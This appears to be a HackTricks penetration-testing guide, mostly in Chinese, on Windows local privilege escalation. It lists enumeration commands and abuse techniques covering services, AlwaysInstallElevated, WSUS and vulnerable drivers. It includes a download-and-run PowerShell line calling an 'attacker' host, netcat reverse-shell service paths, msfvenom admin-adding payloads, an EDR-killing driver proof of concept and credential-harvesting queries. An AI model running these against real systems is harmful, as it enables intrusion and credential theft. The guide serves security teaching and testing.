Windows Local Privilege Escalation
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
查找 Windows local privilege escalation vectors 的最佳工具: WinPEAS
Windows 基本理论
Access Tokens
如果你不知道什么是 Windows Access Tokens,请在继续之前阅读以下页面:
ACLs - DACLs/SACLs/ACEs
关于 ACLs - DACLs/SACLs/ACEs 的更多信息,请查看以下页面:
Integrity Levels
如果你不知道 Windows 中的 integrity levels 是什么,请在继续之前阅读以下页面:
Windows Security Controls
Windows 中有多种机制可能会阻止你枚举系统、运行可执行文件,甚至检测到你的活动。你应该在开始 privilege escalation enumeration 之前阅读以下页面并枚举所有这些防御 机制:
System Info
Version info enumeration
检查 Windows 版本是否存在已知漏洞(也检查已应用的补丁)。
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
版本 Exploits
This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the massive attack surface that a Windows environment presents.
在系统上
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
在本地使用系统信息
Github exploits 仓库:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
环境
是否有任何凭证/Juicy 信息保存在 env variables 中?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell 历史
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell 转录文件
你可以在 https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ 学习如何启用此功能。
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
记录了 PowerShell 管道执行的详细信息,包括已执行的命令、命令调用以及脚本的部分内容。但可能无法捕获完整的执行细节和输出结果。
要启用此功能,请按照文档中“Transcript files”部分的说明操作,选择 “Module Logging” 而不是 “Powershell Transcription”。
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
要查看 PowersShell 日志的最后 15 条事件,您可以执行:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
捕获了script执行的完整活动与全部内容记录,确保每个code块在运行时都被记录。该过程保留了每项活动的全面审计轨迹,对取证和分析恶意行为非常有价值。通过在执行时记录所有活动,可以对进程提供详细的洞察。
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Script Block 的日志事件可在 Windows 事件查看器的以下路径找到:Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
要查看最近 20 条事件,可以使用:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Internet 设置
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
驱动器
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
如果更新不是通过 httpS 而是 http 请求,你可以攻陷系统。
首先,通过在 cmd 中运行以下命令来检查网络是否使用 non-SSL 的 WSUS 更新:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
或者在 PowerShell 中执行以下内容:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
如果你收到类似下面这样的回复:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.
那么,这是可利用的。 如果最后一个注册表项等于 0,则 WSUS 条目将被忽略。
为了利用此漏洞,你可以使用像 Wsuxploit、pyWSUS 这样的工具 —— 这些是 MiTM 武器化的 exploit 脚本,用于向 non-SSL 的 WSUS 流量注入“假”更新。
Read the research here:
WSUS CVE-2020-1013
Read the complete report here.
基本上,这就是该漏洞所利用的缺陷:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
你可以使用工具 WSUSpicious 来利用此漏洞(在该工具一旦可用时)。
Third-Party Auto-Updaters and Agent IPC (local privesc)
许多企业 agent 会暴露本地的 IPC 接口和一个特权更新通道。如果可以将 enrollment 强制指向攻击者控制的服务器,且 updater 信任一个恶意根 CA 或签名校验薄弱,本地用户就可以交付一个由 SYSTEM 服务安装的恶意 MSI。基于 Netskope stAgentSvc 链(CVE-2025-0309)的通用技术见:
Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)
Veeam B&R < 11.0.1.1261 在本地暴露了一个监听 TCP/9401 的服务,该服务处理攻击者控制的消息,允许以 NT AUTHORITY\SYSTEM 执行任意命令。
- Recon: confirm the listener and version, e.g.,
netstat -ano | findstr 9401and(Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion. - Exploit: 把 PoC(例如
VeeamHax.exe)和所需的 Veeam DLL 放在同一目录,然后通过本地 socket 触发一个以 SYSTEM 权限运行的 payload:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""
该服务以 SYSTEM 身份执行命令。
KrbRelayUp
在特定条件下,Windows domain 环境存在一个 local privilege escalation 漏洞。这些条件包括环境中 LDAP signing is not enforced,、用户拥有允许其配置 Resource-Based Constrained Delegation (RBCD) 的 self-rights,以及用户可以在域中创建计算机的能力。需要注意的是,这些 requirements 在 default settings 下就已满足。
查找 exploit in https://github.com/Dec0ne/KrbRelayUp
有关攻击流程的更多信息,请查看 https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
If 这两个注册表项被 enabled(值为 0x1),那么任何权限级别的用户都可以以 NT AUTHORITY\SYSTEM 身份 install(执行)*.msi 文件。
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated
PowerUP
使用 power-up 中的 Write-UserAddMSI 命令在当前目录下创建一个用于提权的 Windows MSI 二进制文件。该脚本会写出一个预编译的 MSI 安装程序,提示添加用户/组(因此你需要 GUI 访问权限):
Write-UserAddMSI
只需执行生成的二进制即可提权。
MSI Wrapper
阅读本教程以了解如何使用这些工具创建 MSI Wrapper。注意,如果你只是想执行命令行,可以将一个 “.bat” 文件打包。
Create MSI with WIX
Create MSI with Visual Studio
- 使用 Cobalt Strike 或 Metasploit 生成 一个 Windows EXE TCP payload 到
C:\privesc\beacon.exe - 打开 Visual Studio,选择 Create a new project 并在搜索框中输入 “installer”。选择 Setup Wizard 项目并点击 Next。
- 为项目命名,例如 AlwaysPrivesc,将位置设为
C:\privesc,选择 place solution and project in the same directory,然后点击 Create。 - 不断点击 Next 直到你到达第 3 步(选择要包含的文件)。点击 Add 并选择你刚生成的 Beacon payload。然后点击 Finish。
- 在 Solution Explorer 中高亮 AlwaysPrivesc 项目,并在 Properties 中将 TargetPlatform 从 x86 改为 x64。
- 你还可以更改其他属性,例如 Author 和 Manufacturer,以使已安装的应用看起来更合法。
- 右键项目并选择 View > Custom Actions。
- 右键 Install 并选择 Add Custom Action。
- 双击 Application Folder,选择你的 beacon.exe 文件并点击 OK。这将确保安装程序运行后立即执行 beacon payload。
- 在 Custom Action Properties 下,将 Run64Bit 改为 True。
- 最后,build it。
- 如果显示警告
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86',请确保你已将平台设置为 x64。
MSI Installation
在后台执行恶意 .msi 文件的安装:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
要利用此漏洞,您可以使用: exploit/windows/local/always_install_elevated
防病毒和检测器
审计设置
这些设置决定了哪些内容会被记录,因此你应该注意
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding:了解日志被发送到哪里很重要
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS 的设计用于管理 local Administrator passwords,确保每个密码在加入 domain 的计算机上均为唯一、随机并定期更新。这些密码被安全地存储在 Active Directory 中,只有通过 ACLs 被授予足够权限的用户才能访问,从而在获授权时查看 local admin passwords。
WDigest
如果启用,plain-text passwords 会被存储在 LSASS (Local Security Authority Subsystem Service)。
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA 保护
从 Windows 8.1 开始,微软为本地安全机构 (LSA) 引入了增强保护,以 阻止 不受信任的进程 读取其内存 或注入代码的尝试,从而进一步增强系统安全。
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard 在 Windows 10 中引入。其目的是保护设备上存储的凭据,防范诸如 pass-the-hash 攻击等威胁。| 关于 Credentials Guard 的更多信息。
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials 由 Local Security Authority (LSA) 进行身份验证,并被操作系统组件使用。 当用户的登录数据由已注册的安全包进行身份验证时,通常会为该用户建立 domain credentials。
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
用户与组
枚举用户与组
你应该检查你所属的任何组是否具有有趣的权限
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
特权组
如果你 属于某些特权组,你可能能够提升权限。在这里了解特权组以及如何滥用它们来提升权限:
Token manipulation
了解更多 有关 token 是什么的信息,请参阅此页面: Windows Tokens.
查看以下页面以了解有趣的 tokens以及如何滥用它们:
已登录用户 / 会话
qwinsta
klist sessions
主目录
dir C:\Users
Get-ChildItem C:\Users
密码策略
net accounts
获取剪贴板内容
powershell -command "Get-Clipboard"
运行中的进程
文件和文件夹权限
首先,列出进程时,检查进程命令行中是否包含密码。
检查是否可以 覆盖某些正在运行的二进制文件 或者是否对二进制文件夹具有写权限,以利用可能的 DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
始终检查是否有可能 electron/cef/chromium debuggers 正在运行,您可以滥用它来提升权限。
检查进程二进制文件的权限
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
检查进程二进制文件所在文件夹的权限 (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
你可以使用 procdump(来自 sysinternals)对正在运行的进程创建内存转储。像 FTP 这样的服务会在内存中以 credentials in clear text in memory 存放,尝试转储内存并读取这些 credentials。
procdump.exe -accepteula -ma <proc_name_tasklist>
不安全的 GUI 应用程序
以 SYSTEM 身份运行的应用程序可能允许用户启动 CMD 或浏览目录。
示例: “Windows Help and Support” (Windows + F1),搜索 “command prompt”,点击 “Click to open Command Prompt”
服务
Service Triggers 允许 Windows 在满足某些条件时启动服务(named pipe/RPC endpoint activity、ETW events、IP availability、device arrival、GPO refresh 等)。即使没有 SERVICE_START 权限,你通常也可以通过触发它们来启动特权服务。有关枚举和激活技术,请参见:
获取服务列表:
net start
wmic service list brief
sc query
Get-Service
权限
你可以使用 sc 来获取服务的信息
sc qc <service_name>
建议使用来自 Sysinternals 的二进制文件 accesschk 来检查每个服务所需的权限级别。
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
建议检查 “Authenticated Users” 是否可以修改任何服务:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
启用服务
如果出现以下错误(例如 SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
你可以使用以下命令启用它
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
请注意,服务 upnphost 依赖 SSDPSRV 才能工作(适用于 XP SP1)
另一个变通方法 来解决此问题是运行:
sc.exe config usosvc start= auto
修改服务二进制路径
在 “Authenticated users” 组对某个服务拥有 SERVICE_ALL_ACCESS 的情况下,可以修改该服务的可执行二进制文件。要修改并执行 sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
重启服务
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
权限可以通过以下几种权限进行提权:
- SERVICE_CHANGE_CONFIG: 允许重新配置服务二进制文件。
- WRITE_DAC: 允许重新配置权限,从而能够更改服务配置。
- WRITE_OWNER: 允许获取所有权并重新配置权限。
- GENERIC_WRITE: 继承了更改服务配置的能力。
- GENERIC_ALL: 同样继承了更改服务配置的能力。
要检测和利用此漏洞,可以使用 exploit/windows/local/service_permissions。
Services binaries weak permissions
检查是否可以修改由服务执行的二进制文件 或者你是否对二进制文件所在的文件夹拥有 写权限 (DLL Hijacking).
你可以使用 wmic (not in system32) 获取由服务执行的所有二进制文件,并使用 icacls 检查你的权限:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
你也可以使用 sc 和 icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
服务注册表修改权限
你应该检查是否可以修改任何服务注册表。
你可以通过执行以下操作来检查你在某个服务注册表上的权限:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
应该检查 Authenticated Users 或 NT AUTHORITY\INTERACTIVE 是否拥有 FullControl 权限。如果是,服务执行的二进制文件可以被更改。
要更改被执行二进制文件的路径:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
服务注册表 AppendData/AddSubdirectory 权限
如果你对某个注册表具有此权限,这意味着 你可以从此注册表创建子注册表。在 Windows 服务 的情况下,这 足以执行任意代码:
AppendData/AddSubdirectory permission over service registry
未加引号的服务路径
如果可执行文件的路径没有被引号包起来,Windows 会尝试执行路径中每个空格之前的部分。
例如,对于路径 C:\Program Files\Some Folder\Service.exe,Windows 会尝试执行:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
列出所有未加引号的服务路径,排除属于 Windows 内置服务的那些:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
您可以检测并利用 这个漏洞 使用 metasploit: exploit/windows/local/trusted\_service\_path 您可以使用 metasploit 手动创建一个服务二进制文件:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
恢复操作
Windows 允许用户指定在服务失败时要执行的操作。此功能可以配置为指向一个 binary。如果该 binary 可被替换,则可能发生 privilege escalation。更多细节请参见官方文档.
应用
已安装的应用程序
检查 permissions of the binaries (也许你可以覆盖其中一个并 escalate privileges) 和 folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
写入权限
检查是否可以修改某些配置文件以读取某些特殊文件,或是否可以修改将由管理员账户执行的某个二进制文件(schedtasks)。
在系统中查找权限薄弱的文件夹/文件的一种方法是执行:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
启动时运行
检查是否可以覆盖将由其他用户执行的某些注册表项或二进制文件。
阅读 以下页面 以了解有关有趣的 autoruns locations to escalate privileges 的更多信息:
Privilege Escalation with Autoruns
驱动程序
查找可能的 third party weird/vulnerable 驱动程序
driverquery
driverquery.exe /fo table
driverquery /SI
If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:
Arbitrary Kernel Rw Token Theft
For race-condition bugs where the vulnerable call opens an attacker-controlled Object Manager path, deliberately slowing the lookup (using max-length components or deep directory chains) can stretch the window from microseconds to tens of microseconds:
Kernel Race Condition Object Manager Slowdown
Registry hive memory corruption primitives
Modern hive vulnerabilities let you groom deterministic layouts, abuse writable HKLM/HKU descendants, and convert metadata corruption into kernel paged-pool overflows without a custom driver. Learn the full chain here:
Windows Registry Hive Exploitation
滥用 device objects 上缺失的 FILE_DEVICE_SECURE_OPEN(LPE + EDR kill)
一些签名的第三方 drivers 通过 IoCreateDeviceSecure 使用强 SDDL 创建其 device object,但忘记在 DeviceCharacteristics 中设置 FILE_DEVICE_SECURE_OPEN。没有该标志,当通过包含额外组件的路径打开 device 时,secure DACL 不会被强制执行,从而允许任意未特权用户通过如下命名空间路径获得 handle:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (来自一个真实案例)
一旦用户能够打开该 device,driver 暴露的特权 IOCTLs 可被滥用于 LPE 和篡改。野外观察到的示例能力:
- 返回对任意进程的完全访问 handle(token theft / 通过 DuplicateTokenEx/CreateProcessAsUser 获取 SYSTEM shell)。
- 不受限制的 raw disk read/write(离线篡改、开机持久化技巧)。
- 终止任意进程,包括 Protected Process/Light (PP/PPL),允许从 user land 通过 kernel 杀掉 AV/EDR。
Minimal PoC 模式(user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
开发者缓解措施
- 在创建要通过 DACL 限制的 device objects 时,始终设置 FILE_DEVICE_SECURE_OPEN。
- 对特权操作验证调用者上下文。在允许进程终止或返回句柄之前,添加 PP/PPL 检查。
- 限制 IOCTLs(access masks、METHOD_*、输入验证),并考虑使用 brokered 模式而不是直接授予内核权限。
防御者的检测思路
- 监控用户模式对可疑设备名称的 opens(例如 \ .\amsdk*)以及指示滥用的特定 IOCTL 序列。
- 强制执行 Microsoft 的 vulnerable driver blocklist(HVCI/WDAC/Smart App Control),并维护自己的 allow/deny 列表。
PATH DLL Hijacking
If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
检查 PATH 中所有文件夹的权限:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
有关如何滥用此检查的更多信息:
Writable Sys Path +Dll Hijacking Privesc
网络
共享
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
检查 hosts file 中是否有其他已知计算机的硬编码条目
type C:\Windows\System32\drivers\etc\hosts
网络接口与 DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
开放端口
从外部检查是否存在 受限服务
netstat -ano #Opened ports?
路由表
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP 表
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
防火墙 规则
查看此页面以获取防火墙相关命令 (列出规则,创建规则,关闭,关闭…)
更多 网络枚举相关命令在此
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
二进制文件 bash.exe 也可以在 C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe 找到
如果获得 root 用户,你可以监听任意端口(第一次使用 nc.exe 在端口上监听时,会通过 GUI 询问是否允许 nc 被 firewall 放行)。
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
要以 root 身份轻松启动 bash,可以尝试 --default-user root
你可以在文件夹 C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ 中探索 WSL 文件系统
Windows 凭据
Winlogon 凭据
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
The Windows Vault stores user credentials for servers, websites and other programs that Windows can 自动为用户登录。乍一看,这似乎意味着用户可以将他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等存储其中,以便通过浏览器自动登录。但事实并非如此。
Windows Vault 存储可被 Windows 自动使用以登录用户的凭据,这意味着任何需要凭据以访问资源的 Windows 应用程序(服务器或网站)都可以使用该 Credential Manager & Windows Vault,使用提供的凭据,而不是让用户每次都输入用户名和密码。
除非应用程序与 Credential Manager 交互,否则我认为它们不可能使用某个给定资源的凭据。因此,如果你的应用程序想使用该 vault,应该以某种方式与 credential manager 通信并请求该资源的凭据,从默认存储 vault 中获取。
Use the cmdkey to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
